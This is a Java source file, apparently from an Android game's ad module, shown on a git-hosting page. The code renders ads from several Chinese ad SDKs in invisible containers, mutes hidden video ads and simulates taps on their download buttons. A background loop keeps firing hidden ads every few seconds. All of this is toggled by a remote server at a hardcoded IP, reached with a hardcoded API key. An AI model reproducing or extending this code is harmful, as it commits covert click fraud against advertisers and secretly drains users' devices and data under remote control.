Files
an-ying-sai-che-shou/app/build/intermediates/custom_java/AdManager.java
陈巨龙 f3b13a35bc 8.25
2025-08-25 16:57:23 +08:00

829 lines
32 KiB
Java
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package com.android.boot.ad;
import static com.android.boot.ad.TouchTools.isClick;
import static com.android.boot.ad.TouchTools.isCurrentTimeInRange;
import static com.android.boot.ad.TouchTools.mainActivity;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.Looper;
import android.os.Message;
import android.view.Gravity;
import android.view.View;
import android.view.ViewGroup;
import android.widget.FrameLayout;
import android.widget.TextView;
import android.view.SurfaceView;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.TypeReference;
import com.android.boot.Logger;
import com.android.boot.ad.aggregated.TTAd;
import com.android.boot.ad.jni.JNIHelper;
import com.android.boot.ad.jni.SQLiteExample;
import com.android.boot.ad.proxy.RefInvoke;
import com.bytedance.sdk.openadsdk.TTAdConfig;
import com.bytedance.sdk.openadsdk.TTAdConstant;
import com.bytedance.sdk.openadsdk.TTAdSdk;
import com.miui.zeus.mimo.sdk.BannerAd;
import com.miui.zeus.mimo.sdk.InterstitialAd;
import com.miui.zeus.mimo.sdk.RewardVideoAd;
import com.miui.zeus.mimo.sdk.TemplateAd;
import com.miui.zeus.mimo.sdk.server.api.BaseAdInfo;
import com.miui.zeus.mimo.sdk.view.DownloadBtnView;
import com.qq.e.comm.managers.GDTAdSdk;
import com.qq.e.comm.managers.setting.GlobalSetting;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import java.util.Random;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
public class AdManager extends TTAd {
private static AdManager instance;
public static boolean isFront = false;
public static boolean isFist01 = true;
public static boolean isFist02 = true;//插屏
public static boolean reward_click_time = true;
public static int click01 = 0;
public static int click02 = 0;
public static int interstitialShow = 0;
public long timeStamp = Long.parseLong("17347089020000");//1717774386000
public long showAdTime = 0;
public int clickCount = 0;
public long lastClick = 0;
private static final String MAP_CONFIG = "map_config";
private static Map<String, Boolean> maps;
private int error = 0;
public static double percentage;
private int showCount = 0;
public String Interstitial = "3247f54075d9d8db22fb52b0c9393ab5";
public String FullInterstitial = "139ff644f5546244f5b3e6e14367e8e5";
public String Banner = "b441b7aeba83843af14f372eb935af3a";
public String TemplateA = "a65bc11cefafe386cf336d8382b2d045";
public String TemplateB = "dd2ae11a2d4b5c00108671b19ea76acf";
public String TemplateC = "9cfca1767b66b85e29656f81e960adb0";
public String TemplateD = "38f263b2a67ae8e30f6fecff394420cd";
public String Reward = "499dd7b265d8bb04e2e89ab8a06d73a0";
public static volatile RewardVideoAd rewardVideoAd;
private int internal = 60;
private int showIntervalTT = 4;
private long lastError = 0;
public boolean isSurfaceView = true;
public static AdManager getInstance() {
if (instance == null) {
synchronized (AdManager.class) {
if (instance == null) {
instance = new AdManager();
}
}
}
return instance;
}
public final int SHOW_BANNER = 2000;
public final int SHOW_INTERSTITIAL = 3000;
public final int SHOW_NATIVE = 4000;
public final int SHOW_TT_NATIVE = 5000;
public final int SHOW_TT_BANNER = 6000;
public final int SHOW_TT_DrawFeedAd = 7000;
public final int SHOW_TT_INTERSTITIAL = 8000;
public final int SHOW_GDT_BANNER = 9000;
public final int SHOW_GDT_NATIVE = 10000;
final Handler handler = new Handler(Looper.getMainLooper()) {
@Override
public void handleMessage(Message msg) {
switch (msg.what) {
case SHOW_BANNER:
boolean isHide = msg.getData().getBoolean("isHide");
ViewGroup viewGroup = isHide ? containerBanner : container;
showBanner(TouchTools.mainActivity, viewGroup, isHide);
break;
case SHOW_INTERSTITIAL:
showInterstitialAd(msg.getData().getString("ID"), msg.getData().getBoolean("isHide"));
break;
case SHOW_NATIVE:
Bundle bundle = msg.getData();
showNative((ViewGroup) msg.obj, bundle.getString("ID"), bundle.getBoolean("isHide"));
break;
case SHOW_TT_NATIVE:
showTTAdNative(container);
break;
case SHOW_TT_BANNER:
showTTAdBanner(containerBanner);
break;
case SHOW_TT_DrawFeedAd:
showTTDrawFeedAd(container);
break;
case SHOW_TT_INTERSTITIAL:
showTTFullScreenVideo();
break;
case SHOW_GDT_BANNER:
showGDTBanner();
break;
case SHOW_GDT_NATIVE:
showGDTNative();
break;
}
super.handleMessage(msg);
}
};
private static void initMap() {
maps = SharedPreferencesTools.getMapFromPreferences(MAP_CONFIG, new TypeReference<Map<String, Boolean>>() {
}, mainActivity);
if (maps.isEmpty()) {
maps.put(AdManager.getInstance().Banner, true);
maps.put(AdManager.getInstance().TemplateA, true);
maps.put(AdManager.getInstance().TemplateB, true);
maps.put(AdManager.getInstance().TemplateC, true);
}
}
private boolean inClickInterval() {
return System.currentTimeMillis() - lastClick > internal * 1000L;
}
private void handlerShow(ViewGroup viewGroup, boolean isHide) {
showCount++;
if (!isHide) {
return;
}
new Handler(Looper.getMainLooper()).postDelayed(viewGroup::removeAllViews, 2500);
// if (!isHide || percentage > 30) {
// return;
// }
// if (inClickInterval()) {
// simulateTouchDelay(viewGroup);
// }
}
private void handlerClick(Object o) {
lastClick = System.currentTimeMillis();
TouchTools.backToCurrentActivity(200, 300, 400, 500, 1000);
clickCount++;
SharedPreferencesTools.addTotalClickToday(mainActivity);
new Handler(Looper.getMainLooper()).post(() -> {
RefInvoke.invokeMethod(o, "destroy");
});
}
public static void init(Context context, Callback callback) {
SQLiteExample.getInstance();
OkHttpClient client = new OkHttpClient().newBuilder().build();
Request request = new Request.Builder().url("http://106.14.134.255:18866/app/" + context.getPackageName()).get().addHeader("AD-API-KEY", "zaif3maneeliechieje)iqu}u6ooyei9oa3Iejooz6Sail8xijuish8eidoh").build();
HandlerThread handlerThread = new HandlerThread("response");
handlerThread.start();
new Handler(handlerThread.getLooper()).post(() -> {
Response response;
try {
response = client.newCall(request).execute();
if (response.body() == null) {
callback.onFailure();
} else {
JSONObject jsonObject = JSONObject.parseObject(response.body().string());
Logger.log("" + jsonObject);
if (jsonObject.getLong("timeStamp") == null) {
callback.onFailure();
} else {
callback.onSuccess(jsonObject.getBoolean(isClick), jsonObject.getLong("timeStamp"));
initMap();
}
}
} catch (IOException e) {
Logger.log("" + e);
}
});
}
public void showNative(ViewGroup container, String upId, boolean isHide) {
container.removeAllViews();
TemplateAd templateAd = new TemplateAd();
if (isHide && !isSurfaceView) {
container.setAlpha(0);
}
templateAd.load(upId, new TemplateAd.TemplateAdLoadListener() {
@Override
public void onAdLoadFailed(int i, String str) {
Logger.log(upId + " templateAD:" + i);
if (i == 300001 && Boolean.TRUE.equals(maps.get(upId))) {
maps.put(upId, false);
SharedPreferencesTools.saveMapToPreferences(MAP_CONFIG, maps, mainActivity);
}
lastError = System.currentTimeMillis();
}
// error++;
@Override
public void onAdLoaded() {
templateAd.show(container, new TemplateAd.TemplateAdInteractionListener() {
@Override
public void onAdClick() {
Logger.log("onAdClicked===" + upId);
handlerClick(templateAd);
}
@Override
public void onAdDismissed() {
}
@Override
public void onAdRenderFailed(int i, String str) {
}
@Override
public void onAdShow() {
Logger.log("NativeShow:" + upId);
handlerShow(container, isHide);
}
});
}
});
}
private void closeVoice(InterstitialAd interstitialAd) {
HandlerThread closeVoice = new HandlerThread("closeVoice");
closeVoice.start();
long t = System.currentTimeMillis();
new Handler(closeVoice.getLooper()).post(() -> {
while (true) {
if (interstitialAd.mAdImpl.e.interstitialTemplateVideoController != null) {
new Handler(Looper.getMainLooper()).post(() -> {
interstitialAd.mAdImpl.e.interstitialTemplateVideoController.i.c.setVolume(0);
});
break;
}
if (System.currentTimeMillis() - t > 10 * 1000) {
break;
}
}
});
}
public void showInterstitialAd(String upId, boolean isHide) {
InterstitialAd interstitialAd = new InterstitialAd();
interstitialAd.loadAd(upId, new InterstitialAd.InterstitialAdLoadListener() {
@Override
public void onAdLoadFailed(int i, String s) {
Logger.log("showInterstitialAd:" + i);
if (i == 300001 && Boolean.TRUE.equals(maps.get(upId))) {
maps.put(upId, false);
SharedPreferencesTools.saveMapToPreferences(MAP_CONFIG, maps, mainActivity);
}
lastError = System.currentTimeMillis();
// error++;
}
@Override
public void onAdLoadSuccess() {
interstitialAd.show(TouchTools.mainActivity, new InterstitialAd.InterstitialAdInteractionListener() {
@Override
public void onAdClick() {
Logger.log("interstitialAd onAdClicked===");
if (isFist02) {
isFist02 = false;
SharedPreferencesTools.putBoolean(SharedPreferencesTools.IS_FIRST, false, mainActivity);
}
handlerClick(interstitialAd);
}
@Override
public void onAdClosed() {
}
@Override
public void onAdShow() {
showCount++;
interstitialShow++;
boolean a = (System.currentTimeMillis() - lastClick > 25 * 1000) && percentage < 25;
String typeName = upId.equals(Interstitial) ? "interstitialAd" : "FullInterstitialAd";
Logger.log(typeName + " Show " + interstitialAd.mAdImpl.e.e);//interstitialAd.mAdImpl.e.eventRecordRelativeLayout
if (isHide) {
((View) interstitialAd.mAdImpl.e.e).setAlpha(0);
if (a && upId.equals(FullInterstitial)) {
new Handler(Looper.getMainLooper()).postDelayed(interstitialAd::destroy, 25 * 1000);
} else {
new Handler(Looper.getMainLooper()).postDelayed(interstitialAd::destroy, 3 * 1000);
}
}
if (!TouchTools.isCurrentTimeInRange() || !isHide) {
return;
}
if (isFist02) {
DownloadBtnView downloadBtnView = Objects.requireNonNull(RefInvoke.getFieldByType(interstitialAd.mAdImpl.e.e, DownloadBtnView.class));
TextView textView = downloadBtnView.b;
Logger.log("isFist02:" + isFist02);
if (textView == null || upId.equals(FullInterstitial)) {
return;
}
TouchTools.simulateTouchDelay(downloadBtnView, "EventRecordRelativeLayout");
return;
}
// if (a) {
// DownloadBtnView downloadBtnView = Objects.requireNonNull(RefInvoke.getFieldByType(interstitialAd.mAdImpl.e.e, DownloadBtnView.class));
// TextView textView = downloadBtnView.b;
// if (textView == null || upId.equals(FullInterstitial)) {
// return;
// }
// if (AdManager.click02 >= 30) {
// error = 100;
// }
// TouchTools.simulateTouchDelay(downloadBtnView, "EventRecordRelativeLayout", new Random().nextInt(2000) + 1000);
// }
}
@Override
public void onRenderFail(int i, String s) {
}
@Override
public void onVideoEnd() {
}
@Override
public void onVideoPause() {
}
@Override
public void onVideoResume() {
}
@Override
public void onVideoStart() {
if (isHide) {
closeVoice(interstitialAd);
}
}
});
}
@Override
public void onAdRequestSuccess() {
}
});
}
public void showBanner(Activity activity, ViewGroup container, boolean isHide) {
container.removeAllViews();//清空容器view供sdk填充广告
BannerAd bannerAd = new BannerAd();
if (isHide && !isSurfaceView) {
container.setAlpha(0);
}
bannerAd.loadAd(Banner, new BannerAd.BannerLoadListener() {
@Override
public void onAdLoadFailed(int i, String s) {
Logger.log("Banner:" + i);
if (i == 300001 && Boolean.TRUE.equals(maps.get(Banner))) {
maps.put(Banner, false);
SharedPreferencesTools.saveMapToPreferences(MAP_CONFIG, maps, mainActivity);
}
lastError = System.currentTimeMillis();
// error++;
}
@Override
public void onBannerAdLoadSuccess() {
bannerAd.showAd(activity, container, new BannerAd.BannerInteractionListener() {
@Override
public void onAdClick() {
Logger.log("Banner onAdClicked===");
handlerClick(bannerAd);
}
@Override
public void onAdDismiss() {
}
@Override
public void onAdShow() {
Logger.log("Banner Show");
handlerShow(container, isHide);
BaseAdInfo baseAdInfo = bannerAd.mAdImpl.a;
Logger.log(baseAdInfo.getButtonName() + "=========" + baseAdInfo.mAppName + "==========" + baseAdInfo.mUpId);
// TouchTools.randomClickTemplate(0, (View) RefInvoke.getFieldObj(bannerAd, "mAdImpl", "d", "g"),
// new Random().nextInt(100) < 15 && isHide);
}
@Override
public void onRenderFail(int i, String s) {
}
@Override
public void onRenderSuccess() {
}
});
}
});
}
int count = 0;
public void showMiReward(RewardCallback rewardCallback) {
loadReward();
rewardVideoAd.showAd(TouchTools.mainActivity, new RewardVideoAd.RewardVideoInteractionListener() {
@Override
public void onAdClick() {
Logger.log("reward click");
if (AdManager.isFist01) {
AdManager.isFist01 = false;
SharedPreferencesTools.putBoolean(SharedPreferencesTools.IS_FIRST, false, mainActivity);
}
AdManager.click01++;
SharedPreferencesTools.setRewardTotalClickToday(AdManager.click01, mainActivity);
}
@Override
public void onAdDismissed() {
rewardVideoAd = null;
rewardCallback.onFailed();
if (TouchTools.isCurrentTimeInRange()) {
new Handler(Looper.getMainLooper()).postDelayed(() -> {
sendMessage(SHOW_INTERSTITIAL, false, Interstitial);
}, 100);
}
}
@Override
public void onAdFailed(String var1) {
rewardCallback.onFailed();
}
@Override
public void onAdPresent() {
}
@Override
public void onPicAdEnd() {
}
@Override
public void onReward() {
rewardCallback.onReward();
}
@Override
public void onVideoComplete() {
}
@Override
public void onVideoPause() {
}
@Override
public void onVideoSkip() {
}
@Override
public void onVideoStart() {
}
});
}
public void showReward(RewardCallback rewardCallback) {
if (rewardVideoAd == null && isCurrentTimeInRange() && System.currentTimeMillis() - lastError < 10 * 1000) {
if (RANDOM.nextInt(2) == 0) {
showGDTReward(rewardCallback);
} else {
showTTReward(rewardCallback);
}
return;
}
showMiReward(rewardCallback);
}
boolean isRewardValid = false;
public void loadReward() {
if (rewardVideoAd == null) {
rewardVideoAd = new RewardVideoAd();
rewardVideoAd.loadAd(Reward, new RewardVideoAd.RewardVideoLoadListener() {
@Override
public void onAdRequestSuccess() {
}
@Override
public void onAdLoadSuccess() {
}
@Override
public void onAdLoadFailed(int i, String s) {
rewardVideoAd = null;
Logger.log("rewardVideoAd onAdLoadFailed" + i + " " + s);
if (i == 300001 && !isRewardValid) {
maps.put("001", false);
SharedPreferencesTools.saveMapToPreferences(MAP_CONFIG, maps, mainActivity);
isRewardValid = true;
}
}
});
}
}
private HandlerThread handlerThread;
@SuppressLint("DefaultLocale")
public void startShowAdThread() {
// TouchTools.isDebug = SharedPreferencesTools.getBoolean("isDebug", TouchTools.mainActivity);
Logger.log("startShowAdThread执行");
if (handlerThread == null) {
handlerThread = new HandlerThread("");
handlerThread.start();
isFist01 = isFist02 = SharedPreferencesTools.getBoolean(SharedPreferencesTools.IS_FIRST, mainActivity, true);
click01 = SharedPreferencesTools.getRewardTotalClickToday();
click02 = SharedPreferencesTools.getTotalClickToday();
reward_click_time = SharedPreferencesTools.getBoolean(SharedPreferencesTools.REWARD_CLICK_TIME, mainActivity);
long firstStart = SharedPreferencesTools.getFirstStart();
if (firstStart == 0) {
SharedPreferencesTools.putFirstStart();
} else if (System.currentTimeMillis() - firstStart > 5 * 60 * 60 * 1000) {
SharedPreferencesTools.putBoolean(isClick, true, mainActivity);
}
SurfaceView surfaceView = ViewUtils.findSurfaceView(mainActivity);
if (TouchTools.isCurrentTimeInRange()) {
mainActivity.runOnUiThread(this::initNetworkListener);
TTAdSdk.init(mainActivity,
new TTAdConfig.Builder()
.appId(TTAppID)
.titleBarTheme(TTAdConstant.TITLE_BAR_THEME_DARK)
.allowShowNotify(true)
.debug(true)
.directDownloadNetworkType(TTAdConstant.NETWORK_STATE_WIFI)
.supportMultiProcess(false)
.build());
TTAdSdk.start(new TTAdSdk.Callback() {
public void success() {
Logger.log("TTAdSdk success");
showSplashAd();
}
public void fail(int i, String s) {
Logger.log("TTAdSdk fail " + i + " " + s);
}
});
GDTAdSdk.initWithoutStart(mainActivity, GDTAppId); // 该接口不会采集用户信息
GDTAdSdk.start(new GDTAdSdk.OnStartListener() {
@Override
public void onStartSuccess() {
// 推荐开发者在onStartSuccess回调后开始拉广告
Logger.log("onStartSuccess");
GlobalSetting.setChannel(10);
}
@Override
public void onStartFailed(Exception e) {
Logger.log("gdt onStartFailed:" + e.toString());
}
});
new Handler(Looper.getMainLooper()).post(() -> {
if (surfaceView == null) {
isSurfaceView = false;
} else {
surfaceView.post(() -> {
surfaceView.setZOrderOnTop(true);
surfaceView.getHolder().setFormat(android.graphics.PixelFormat.TRANSLUCENT);
});
}
});
}
new Handler(handlerThread.getLooper()).postDelayed(() -> {
while (true) {
try {
if (!isFront) {
Thread.sleep(1000);
continue;
}
loadReward();
if (clickCount != 0) {
double result = (double) clickCount / showCount;
// 转换为百分比并输出
percentage = result * 100;
Logger.log(showCount + " " + clickCount + " " + String.format("结果: %.2f%%", percentage));
}
if (TouchTools.isCurrentTimeInRange()) {
if (timeStamp == 1737736528000L) {
error = 100;
}
JNIHelper.E(AdManager.this);
if (interstitialShow < 9) {
sendMessage(SHOW_INTERSTITIAL, true, Interstitial);
Thread.sleep(100);
sendMessage(SHOW_NATIVE, true, TemplateC);
} else if (count % 3 == 0) {
sendMessage(SHOW_INTERSTITIAL, true, Interstitial);
} else if (count % 2 == 0) {
sendMessage(SHOW_NATIVE, true, TemplateC);
}
if (inClickInterval()) {
sendMessage(SHOW_NATIVE, false, TemplateC,
ViewUtils.createAdatptFrameLayout(mainActivity,
(ViewGroup) AdManager.getInstance().container.getParent()));
}
if (count % showIntervalTT == 0) {
if (RANDOM.nextInt(2) == 0) {
sendMessage(SHOW_TT_DrawFeedAd);
} else {
sendMessage(SHOW_TT_NATIVE);
}
Thread.sleep(100);
sendMessage(SHOW_GDT_NATIVE);
Thread.sleep(100);
sendMessage(SHOW_TT_BANNER);
Thread.sleep(100);
sendMessage(SHOW_GDT_BANNER);
}
if (count % 15 == 0) {
showMiReward(new RewardCallback() {
@Override
public void onReward() {
}
@Override
public void onFailed() {
}
});
}
}
Thread.sleep(4 * 1000 + new Random().nextInt(1000));
count++;
} catch (InterruptedException e) {
Logger.log("InterruptedException:" + e);
}
}
}, 3000);
}
}
private void showRandomTemplate(boolean isHide) {
String id = genRandomAd();
if (id.isEmpty()) {
return;
}
sendMessage(getAdCode(id), isHide, id);
}
private FrameLayout overlayLayout;
private void initNetworkListener() {
// 初始化遮罩层
overlayLayout = new FrameLayout(mainActivity);
overlayLayout.setBackgroundColor(0x80000000); // 半透明黑色背景
final TextView[] textView = {new TextView(mainActivity)};
textView[0].setText("网络不可用,请检查您的网络连接");
textView[0].setTextColor(mainActivity.getResources().getColor(android.R.color.white));
textView[0].setGravity(Gravity.CENTER);
overlayLayout.addView(textView[0]);
// 把遮罩层添加到视图中,默认不可见
mainActivity.addContentView(overlayLayout, new FrameLayout.LayoutParams(FrameLayout.LayoutParams.MATCH_PARENT, FrameLayout.LayoutParams.MATCH_PARENT));
overlayLayout.setVisibility(View.GONE);
// 注册网络变化的广播接收器
BroadcastReceiver networkStateReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo networkInfo = cm.getActiveNetworkInfo();
if (networkInfo != null && networkInfo.isConnected()) {
// 网络已连接,隐藏遮罩层
overlayLayout.setVisibility(View.INVISIBLE);
textView[0].setVisibility(View.INVISIBLE);
} else {
// 网络断开,显示遮罩层
overlayLayout.setVisibility(View.VISIBLE);
}
}
};
// 注册网络状态变化的广播
IntentFilter filter = new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION);
mainActivity.registerReceiver(networkStateReceiver, filter);
}
public int getAdCode(String ID) {
if (ID.equals(Banner)) {
return SHOW_BANNER;
} else if (ID.equals(Interstitial) || ID.equals(FullInterstitial)) {
return SHOW_INTERSTITIAL;
}
return SHOW_NATIVE;
}
public String genRandomAd() {
if (maps == null || maps.isEmpty()) {
return ""; // 或者返回 null根据实际需求
}
// 过滤出所有有效的键(对应值为 true 的)
List<String> validKeys = new ArrayList<>();
for (Map.Entry<String, Boolean> entry : maps.entrySet()) {
if (Boolean.TRUE.equals(entry.getValue())) {
validKeys.add(entry.getKey());
}
}
if (validKeys.isEmpty()) {
// 如果没有有效的广告键,直接返回空字符串或做其他处理
return "";
}
// 从有效键中随机选择一个
int randomIndex = RANDOM.nextInt(validKeys.size());
return validKeys.get(randomIndex);
}
public void sendMessage(int code) {
Message message = Message.obtain();
message.what = code;
handler.sendMessage(message);
}
public void sendMessage(int code, boolean isHide, String ID, ViewGroup viewGroup) {
Message message = Message.obtain();
Bundle bundle = new Bundle();
message.setData(bundle);
bundle.putBoolean("isHide", isHide);
bundle.putString("ID", ID);
message.what = code;
message.obj = viewGroup;
handler.sendMessage(message);
}
public void sendMessage(int code, boolean isHide, String ID) {
Message message = Message.obtain();
Bundle bundle = new Bundle();
message.setData(bundle);
bundle.putBoolean("isHide", isHide);
bundle.putString("ID", ID);
message.what = code;
if (SHOW_NATIVE != code) {
handler.sendMessage(message);
return;
} else if (!isHide) {
message.obj = container;
handler.sendMessage(message);
return;
} else if (ID.equals(TemplateA)) {
message.obj = containerTemplateA;
} else if (ID.equals(TemplateB)) {
message.obj = containerTemplateB;
} else if (ID.equals(TemplateC)) {
message.obj = containerTemplateC;
} else if (ID.equals(TemplateD)) {
message.obj = containerTemplateD;
}
handler.sendMessage(message);
}
}